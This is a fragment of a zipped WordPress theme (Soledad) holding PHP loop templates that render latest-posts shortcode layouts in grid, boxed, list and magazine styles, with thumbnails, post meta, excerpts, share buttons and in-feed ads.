                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( 'yes' == $grid_comment_other ) : ?>
                        <span class="otherl-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( 'yes' == $grid_viewscount ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $grid_readtime ) ): ?>
                        <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php if ( isset( $custom_meta_key ) ) {
						echo penci_show_custom_meta_fields( $custom_meta_key );
					} ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
        </div>

		<?php if ( get_the_excerpt() && 'yes' != $grid_remove_excerpt ): ?>
            <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
				<?php 
				do_action( 'penci_before_post_excerpt' );
				penci_the_excerpt( $grid_excerpt_length, $post_id ); ?>
            </div>
		<?php endif; ?>

		<?php if ( 'yes' == $grid_add_readmore ):
			$class_button = '';
			if ( 'yes' == $grid_remove_arrow ): $class_button .= ' penci-btn-remove-arrow'; endif;
			if ( 'yes' == $grid_readmore_button ): $class_button .= ' penci-btn-make-button'; endif;
			if ( $grid_readmore_align ): $class_button .= ' penci-btn-align-' . $grid_readmore_align; endif;
			?>
            <div class="penci-readmore-btn<?php echo $class_button; ?>">
                <a class="penci-btn-readmore"
                   href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
            </div>
		<?php endif; ?>

		<?php if ( 'yes' != $grid_share_box ) : ?>
            <div class="penci-post-box-meta penci-post-box-grid">
                <div class="penci-post-share-box">
					<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
					<?php penci_soledad_social_share(); ?>
                </div>
            </div>
		<?php endif; ?>
    </article>
</li>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'grid-style penci-infeed-data penci-infeed-vcele',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $n ++; ?>
PK     N\Ys    2  template-parts/latest-posts-sc/content-boxed-1.phpnu [        <?php
/**
 * Template loop for list boxed
 */
if ( ! isset ( $n ) ) { $n = 1; } else { $n = $n; }
$penci_featimg_size = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
$thumb_size = isset( $thumb_size ) ? $thumb_size : '';
$post_id = get_the_ID();


$heading_title_tag = $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$grid_cat_move = 'yes' != $grid_cat ? $grid_cat_move : false;
$grid_cat = $grid_cat_move ? 'yes' : $grid_cat;
?>
<li class="list-post list-boxed-post<?php if ( ! has_post_thumbnail() ) : echo ' pc-nothumb'; endif; ?>">
	<article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( has_post_thumbnail() ) : ?>
			<div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if( function_exists('penci_display_piechart_review_html') ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>
				<?php if( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
				<a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable(); ?>" data-bgset="<?php echo penci_image_srcset( get_the_ID(), penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>" href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags(
					get_the_title() )
				; ?>"></a>
				<?php } else { ?>
				<a class="penci-image-holder<?php echo penci_class_lightbox_enable(); ?>" style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>');" href="<?php penci_permalink_fix(); ?>" title="<?php
				echo wp_strip_all_tags(
					get_the_title() ); ?>"></a>
				<?php } ?>

				<?php if( 'yes' != $grid_icon_format ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
						<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-play'); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
						<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-music'); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
						<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('far fa-image'); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
						<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-link'); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
						<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-quote-left'); ?></a>
					<?php endif; ?>
				<?php endif; ?>
			</div>
		<?php endif; ?>

		<div class="content-list-right<?php if ( ! has_post_thumbnail() ) : echo ' fullwidth'; endif; ?>">
			<div class="inner-content-list-right">
				<div class="header-list-style">
					<?php if ( 'yes' != $grid_cat ) : ?>
						<span class="cat"><?php penci_category( '' ); ?></span>
					<?php endif; ?>

					<<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a></<?php echo $heading_title_tag;?>>
					<?php penci_soledad_meta_schema(); ?>
					<?php do_action( 'penci_after_post_title' ); ?>
					<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_date || 'yes' != $grid_author || 'yes' == $grid_viewscount || 'yes' == $grid_comment_other || penci_isshow_reading_time( $grid_readtime ) ) : ?>
						<div class="grid-post-box-meta">
							<?php if ( $grid_cat_move ) : ?>
								<span class="cat"><?php penci_category( '' ); ?></span>
							<?php endif; ?>
							<?php if ( 'yes' != $grid_author ) : ?>
								<span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting('penci_trans_by'); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
										penci_coauthors_posts_links();
									else: ?>
                                        <a class="author-url url fn n"
                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
									<?php endif; ?></span>
							<?php endif; ?>
							<?php if ( 'yes' != $grid_date ) : ?>
								<span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( 'yes' == $grid_comment_other ) : ?>
								<span class="otherl-comment"><a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 '. penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php
							if ( 'yes' == $grid_viewscount ) {
								echo '<span>';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							}
							?>
							<?php if( penci_isshow_reading_time( $grid_readtime ) ): ?>
								<span class="otherl-readtime"><?php penci_reading_time(); ?></span>
							<?php endif; ?>
							<?php if ( isset( $custom_meta_key ) ) {
								echo penci_show_custom_meta_fields( $custom_meta_key );
							} ?>
							<?php do_action( 'penci_extra_meta' ); ?>
						</div>
					<?php endif; ?>

				</div>

				<?php if( get_the_excerpt() && 'yes' != $grid_remove_excerpt ): ?>
				<div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
					<?php 
					do_action( 'penci_before_post_excerpt' );
					penci_the_excerpt( $grid_excerpt_length, $post_id ); ?>
				</div>
				<?php endif; ?>

				<?php if( 'yes' == $grid_add_readmore ):
				$class_button = '';
				if( 'yes' == $grid_remove_arrow ): $class_button .= ' penci-btn-remove-arrow'; endif;
				if( 'yes' == $grid_readmore_button ): $class_button .= ' penci-btn-make-button'; endif;
				if( $grid_readmore_align ): $class_button .= ' penci-btn-align-' . $grid_readmore_align; endif;
				?>
					<div class="penci-readmore-btn<?php echo $class_button; ?>">
						<a class="penci-btn-readmore" href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon('fas fa-angle-double-right'); ?></a>
					</div>
				<?php endif; ?>

				<?php if ( 'yes' != $grid_share_box ) : ?>
					<div class="penci-post-box-meta penci-post-box-grid">
						<div class="penci-post-share-box">
							<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
							<?php penci_soledad_social_share( );  ?>
						</div>
					</div>
				<?php endif; ?>

			</div>
		</div>
	</article>
</li>
<?php 
if( isset( $infeed_ads ) && $infeed_ads ){
	penci_get_markup_infeed_ad(
		array(
			'wrapper' => 'li',
			'classes'      => 'list-post list-boxed-post penci-infeed-data penci-infeed-vcele',
			'fullwidth'	 => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	); 
}
?>
<?php $n++; ?>
PK     N\    7  template-parts/latest-posts-sc/content-overlay-list.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $j to count order posts
 * If $j = 1, to show standard post, $j > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }

if ( $j == 1 ) {
	include( locate_template( 'template-parts/latest-posts-sc/content-overlay.php' ) );
}
else {
	include( locate_template( 'template-parts/latest-posts-sc/content-list.php' ) );
}

$j++;
?>

PK     N\#3$  $  5  template-parts/latest-posts-sc/content-magazine-2.phpnu [        <?php
/**
 * Template loop for magazine style 2
 */
if ( ! isset ( $n ) ) {
	$n = 1;
} else {
	$n = $n;
}
$penci_featimg_size = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
$post_id = get_the_ID();
$heading_title_tag = $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$grid_cat_move = 'yes' != $grid_cat ? $grid_cat_move : false;
$grid_cat = $grid_cat_move ? 'yes' : $grid_cat;
?>
<li class="grid-style magazine-layout magazine-2<?php if ( 'yes' == $grid_meta_overlay ): echo ' grid-overlay-meta'; endif; ?>">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( penci_get_post_format( 'gallery' ) ) : ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ) : ?>
                <div class="thumbnail">
					<?php do_action( 'penci_bookmark_post' ); ?>
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible" data-auto="true">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>
                                <div class="swiper-slide swiper-mark-item">
									<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size_vcel( 'normal', $penci_featimg_size ) ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>

									<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                                        <figure class="penci-swiper-mask penci-image-holder penci-lazy"
											<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                                data-bgset="<?php echo esc_url( $the_image[0] ); ?>">
                                        </figure>
									<?php } else { ?>
                                        <figure class="penci-swiper-mask penci-image-holder"
											<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                                style="background-image: url('<?php echo esc_url( $the_image[0] ); ?>');">
                                        </figure>
									<?php } ?>
                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>

				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                    <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable(); ?>"
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(), penci_featured_images_size_vcel( 'normal', $penci_featimg_size ) ); ?>"
                       href="<?php penci_permalink_fix(); ?>" title="<?php echo
					wp_strip_all_tags( get_the_title
					() ); ?>">
                    </a>
				<?php } else { ?>
                    <a class="penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_featured_images_size_vcel( 'normal', $penci_featimg_size ) ); ?>');"
                       href="<?php penci_permalink_fix(); ?>"
                       title="<?php echo wp_strip_all_tags(
						   get_the_title() ); ?>">
                    </a>
				<?php } ?>

				<?php if ( 'yes' != $grid_icon_format ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="grid-header-box">

			<?php if ( 'yes' != $grid_cat ) : ?>
                <span class="cat"><?php penci_category( '' ); ?></span>
			<?php endif; ?>

            <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                        href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a>
            </<?php echo $heading_title_tag;?>>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php penci_soledad_meta_schema(); ?>
			<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_date || 'yes' != $grid_author || 'yes' == $grid_viewscount || 'yes' == $grid_comment_other || penci_isshow_reading_time( $grid_readtime ) ) : ?>
                <div class="grid-post-box-meta">
					<?php if ( $grid_cat_move ) : ?>
						<span class="cat"><?php penci_category( '' ); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $grid_author ) : ?>
                        <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $grid_date ) : ?>
                        <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' == $grid_comment_other ) : ?>
                        <span class="otherl-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( 'yes' == $grid_viewscount ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $grid_readtime ) ): ?>
                        <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php if ( isset( $custom_meta_key ) ) {
						echo penci_show_custom_meta_fields( $custom_meta_key );
					} ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
        </div>

		<?php if ( get_the_excerpt() && 'yes' != $grid_remove_excerpt ): ?>
            <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
				<?php 
				do_action( 'penci_before_post_excerpt' );
				penci_the_excerpt( $grid_excerpt_length, $post_id ); ?>
            </div>
		<?php endif; ?>

		<?php if ( 'yes' == $grid_add_readmore ):
			$class_button = '';
			if ( 'yes' == $grid_remove_arrow ): $class_button .= ' penci-btn-remove-arrow'; endif;
			if ( 'yes' == $grid_readmore_button ): $class_button .= ' penci-btn-make-button'; endif;
			if ( $grid_readmore_align ): $class_button .= ' penci-btn-align-' . $grid_readmore_align; endif;
			?>
            <div class="penci-readmore-btn<?php echo $class_button; ?>">
                <a class="penci-btn-readmore"
                   href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
            </div>
		<?php endif; ?>

    </article>
</li>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'grid-style magazine-layout magazine-2 penci-infeed-data penci-infeed-vcele',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $n ++; ?>
PK     N\u(  (  /  template-parts/latest-posts-sc/content-list.phpnu [        <?php
/**
 * Template loop for list style
 */
if ( ! isset ( $n ) ) {
	$n = 1;
} else {
	$n = $n;
}
$penci_featimg_size = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
$thumb_size         = isset( $thumb_size ) ? $thumb_size : '';
$post_id = get_the_ID();
$heading_title_tag = $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$grid_cat_move = 'yes' != $grid_cat ? $grid_cat_move : false;
$grid_cat = $grid_cat_move ? 'yes' : $grid_cat;
?>
<li class="list-post penci-item-listp<?php if ( ! has_post_thumbnail() ) : echo ' pc-nothumb'; endif; ?>">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( penci_get_post_format( 'gallery' ) ) : ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ) : ?>
                <div class="thumbnail">
					<?php do_action( 'penci_bookmark_post' ); ?>
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible" data-auto="true">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>

                                <div class="swiper-slide swiper-mark-item">

									<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>

									<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                                        <figure class="penci-swiper-mask penci-image-holder penci-lazy"
											<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                                data-bgset="<?php echo esc_url( $the_image[0] ); ?>">
                                        </figure>
									<?php } else { ?>
                                        <figure class="penci-swiper-mask penci-image-holder"
											<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                                style="background-image: url('<?php echo esc_url( $the_image[0] ); ?>');">
                                        </figure>
									<?php } ?>

                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				$thumbnail_load = penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size );
				$class_load     = '';
				if ( 'yes' == $grid_nocrop_list ):
					$thumbnail_load = 'penci-masonry-thumb';
					$class_load     = ' penci-list-nocrop-thumb';
				endif;
				?>

				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                    <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable() . $class_load; ?>"<?php if ( 'yes' == $grid_nocrop_list ): echo ' style="padding-bottom: ' . penci_get_featured_image_ratio( get_the_ID(), 'penci-masonry-thumb' ) . '%"'; endif; ?>
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumbnail_load ); ?>"
                       href="<?php penci_permalink_fix(); ?>"
                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } else { ?>
                    <a class="penci-image-holder<?php echo penci_class_lightbox_enable() . $class_load; ?>"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbnail_load ); ?>');<?php if ( 'yes' == $grid_nocrop_list ): echo 'padding-bottom: ' . penci_get_featured_image_ratio( get_the_ID(), 'penci-masonry-thumb' ) . '%;'; endif; ?>"
                       href="<?php penci_permalink_fix(); ?>"
                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } ?>

				<?php if ( 'yes' != $grid_icon_format ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="content-list-right content-list-center<?php if ( ! has_post_thumbnail() ) : echo ' fullwidth'; endif; ?>">
            <div class="header-list-style">
				<?php if ( 'yes' != $grid_cat ) : ?>
                    <span class="cat"><?php penci_category( '' ); ?></span>
				<?php endif; ?>

                <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                            href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a>
                </<?php echo $heading_title_tag;?>>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php penci_soledad_meta_schema(); ?>
				<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_date || 'yes' != $grid_author || 'yes' == $grid_viewscount || 'yes' == $grid_comment_other || penci_isshow_reading_time( $grid_readtime ) ) : ?>
                    <div class="grid-post-box-meta">
						<?php if ( $grid_cat_move ) : ?>
							<span class="cat"><?php penci_category( '' ); ?></span>
						<?php endif; ?>
						<?php if ( 'yes' != $grid_author ) : ?>
                            <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
									penci_coauthors_posts_links();
								else: ?>
                                    <a class="author-url url fn n"
                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
								<?php endif; ?></span>
						<?php endif; ?>
						<?php if ( 'yes' != $grid_date ) : ?>
                            <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( 'yes' == $grid_comment_other ) : ?>
                            <span class="otherl-comment"><a
                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php
						if ( 'yes' == $grid_viewscount ) {
							echo '<span>';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						}
						?>
						<?php if ( penci_isshow_reading_time( $grid_readtime ) ): ?>
                            <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php if ( isset( $custom_meta_key ) ) {
							echo penci_show_custom_meta_fields( $custom_meta_key );
						} ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
            </div>

			<?php if ( get_the_excerpt() && 'yes' != $grid_remove_excerpt ): ?>
                <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
					<?php 
					do_action( 'penci_before_post_excerpt' );
					penci_the_excerpt( $grid_excerpt_length, $post_id ); ?>
                </div>
			<?php endif; ?>

			<?php if ( 'yes' == $grid_add_readmore ):
				$class_button = '';
				if ( 'yes' == $grid_remove_arrow ): $class_button .= ' penci-btn-remove-arrow'; endif;
				if ( 'yes' == $grid_readmore_button ): $class_button .= ' penci-btn-make-button'; endif;
				if ( $grid_readmore_align ): $class_button .= ' penci-btn-align-' . $grid_readmore_align; endif;
				?>
                <div class="penci-readmore-btn<?php echo $class_button; ?>">
                    <a class="penci-btn-readmore"
                       href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
                </div>
			<?php endif; ?>

			<?php if ( 'yes' != $grid_share_box ) : ?>
                <div class="penci-post-box-meta penci-post-box-grid penci-post-box-listpost">
                    <div class="penci-post-share-box">
						<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
						<?php penci_soledad_social_share(); ?>
                    </div>
                </div>
			<?php endif; ?>
        </div>

    </article>
</li>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'list-post penci-item-listp penci-infeed-data penci-infeed-vcele',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $n ++; ?>
PK     N\]Z%  Z%  /  template-parts/latest-posts-sc/content-grid.phpnu [        <?php
/**
 * Template loop for gird style
 */
if ( ! isset ( $n ) ) {
	$n = 1;
} else {
	$n = $n;
}
$penci_featimg_size = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
$thumb_size         = isset( $thumb_size ) ? $thumb_size : '';
$post_id = get_the_ID();
$heading_title_tag = $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$grid_cat_move = 'yes' != $grid_cat ? $grid_cat_move : false;
$grid_cat = $grid_cat_move ? 'yes' : $grid_cat;
?>
<li class="grid-style<?php if ( 'yes' == $grid_meta_overlay ): echo ' grid-overlay-meta'; endif; ?>">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( penci_get_post_format( 'gallery' ) ) : ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ) : ?>
                <div class="thumbnail">
					<?php do_action( 'penci_bookmark_post' ); ?>
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible" data-auto="true">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>

                                <div class="swiper-slide swiper-mark-item">

									<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>

									<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                                        <figure class="penci-swiper-mask penci-image-holder penci-lazy" <?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                                data-bgset="<?php echo esc_url( $the_image[0] ); ?>">
                                        </figure>
									<?php } else { ?>
                                        <figure class="penci-swiper-mask penci-image-holder" <?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                                style="background-image: url('<?php echo esc_url( $the_image[0] ); ?>');">
                                        </figure>
									<?php } ?>
                                </div>
							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ) : ?>
